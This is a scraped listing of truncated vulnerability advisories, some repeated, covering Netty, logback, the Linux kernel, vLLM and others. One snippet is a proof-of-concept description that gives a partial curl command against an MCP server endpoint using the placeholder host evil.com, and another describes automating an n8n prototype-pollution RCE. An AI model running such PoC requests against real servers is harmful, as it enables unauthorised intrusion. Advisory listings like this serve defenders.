netty: io.netty/netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers

A flaw was found in Netty's HttpObjectDecoder. A remote attacker can exploit this by sending a specially crafted HTTP/1.0 request that includes both Transfer-Encoding: chunked and Content-Length headers. While Netty correctly strips the conflicting Content-Length header for HTTP/1.1 messages, thi...

netty: io.netty/netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers

A flaw was found in Netty's HttpObjectDecoder. A remote attacker can exploit this by sending a specially crafted HTTP/1.0 request that includes both Transfer-Encoding: chunked and Content-Length headers. While Netty correctly strips the conflicting Content-Length header for HTTP/1.1 messages, thi...

Important: Red Hat Security Advisory: Red Hat Single Sign-On 7.6.13 security update on RHEL 9

New Red Hat Single Sign-On 7.6.13 packages are now available for Red Hat Enterprise Linux 9. Red Hat Product Security has rated this update as having a security impact of none. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each...

netty: io.netty/netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers

A flaw was found in Netty's HttpObjectDecoder. A remote attacker can exploit this by sending a specially crafted HTTP/1.0 request that includes both Transfer-Encoding: chunked and Content-Length headers. While Netty correctly strips the conflicting Content-Length header for HTTP/1.1 messages, thi...

Security Bulletin: Due to use of QOS.CH logback, IBM Cloud Pak System is affected by server-side request forgery and arbitrary code execution

Summary Due to use of QOS.CH logback IBM Cloud Pak System is affected by server-side request forgery and arbitrary code execution CVE-2024-12801, CVE-2024-12798. Those issues were addressed by IBM Cloud Pak System v2.3.6.2. Vulnerability Details CVEID:CVE-2024-12801 DESCRIPTION: Server-Side Reque...

CVE-2026-26718

Описание Сводка Уязвимость подделки межсайтовых запросов CSRF присутствует в веб-приложении xxl-job-admin, что позволяет злоумышленнику выполнять несанкционированные изменения скриптов оболочки Glue IDE. Затрагиваемая конечная точка не выполняет надлежащей проверки CSRF-токена и принимает...

DEBIAN-CVE-2026-98228

In the Linux kernel, the following vulnerability has been resolved: mips: select CONFIGWEAKREORDERINGBEYONDLLSC from CONFIGEYEQ On I6500 CPU cores, lld and scd give no ordering guarantees same as all other instructions. To respect the assumption that archcmpxchg is fully ordered, we must inject...

CVE-2026-98228

In the Linux kernel, the following vulnerability has been resolved: mips: select CONFIGWEAKREORDERINGBEYONDLLSC from CONFIGEYEQ On I6500 CPU cores, lld and scd give no ordering guarantees same as all other instructions. To respect the assumption that archcmpxchg is fully ordered, we must inject...

CVE-2026-98228

In the Linux kernel, the following vulnerability has been resolved: mips: select CONFIGWEAKREORDERINGBEYONDLLSC from CONFIGEYEQ On I6500 CPU cores, lld and scd give no ordering guarantees same as all other instructions. To respect the assumption that archcmpxchg is fully ordered, we must inject...

GHSA-XRVJ-V92F-53GJ vulnerabilities

Vulnerabilities for packages: request-1276...

GHSA-35MR-4567-66VG vulnerabilities

Vulnerabilities for packages: request-1276...

CVE-2026-47734 vulnerabilities

Vulnerabilities for packages: request-1276...

GHSA-8MCX-5RQC-VHMF vulnerabilities

Vulnerabilities for packages: request-1276...

CVE-2026-23744-PoC

CVE-2026-23744-PoC PoC об уязвимости в MCP Server. автоматизировано для части POST-запроса с правильным телом. уязвимый путь: /api/mcp/connect метод с помощью curl: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data...

CVE-2026-98341 wifi: cfg80211: don't free driver-owned scan requests

In the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: don't free driver-owned scan requests When an interface goes down while a scan is running, cfg80211 completes the scan towards userspace and frees the scan request. However, the driver can be convinced that it own...

CVE-2026-98328 wifi: mac80211: add HE 6 GHz capability in the scan elems len

In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: add HE 6 GHz capability in the scan elems len The HE 6 GHz Band Capability element is in the probe request for every band if 6 GHz is supported, so add the size to scanieslen. Otherwise, building probe request...

CVE-2026-98228 mips: select CONFIG_WEAK_REORDERING_BEYOND_LLSC from CONFIG_EYEQ

In the Linux kernel, the following vulnerability has been resolved: mips: select CONFIGWEAKREORDERINGBEYONDLLSC from CONFIGEYEQ On I6500 CPU cores, lld and scd give no ordering guarantees same as all other instructions. To respect the assumption that archcmpxchg is fully ordered, we must inject...

CVE-2026-105775

A flaw was found in vLLM. An authenticated remote attacker can send a crafted request that triggers an out-of-bounds read in the completions request handler. This issue can cause the service to crash, resulting in a Denial of Service DoS...

CVE-2026-44789-n8n-PrototypePollution-RCE

CVE-2026-44789 — Pollution de prototype par pagination du nœud HTTP Request de n8n → RCE Un créateur de workflow n8n L'avis public indique seulement que la pollution "combinée à d'autres techniques pourrait conduire à une RCE" — il ne divulgue pas de gadget. Ce dépôt documente et automatise une...

CVE-2026-105775

A security vulnerability has been detected in vllm-project vLLM up to 0.31.0. This impacts the function convssmforward of the file vllm/modelexecutor/layers/mamba/mambamixer2.py of the component Completions Request Handler. The manipulation leads to out-of-bounds read. The attack is possible to b...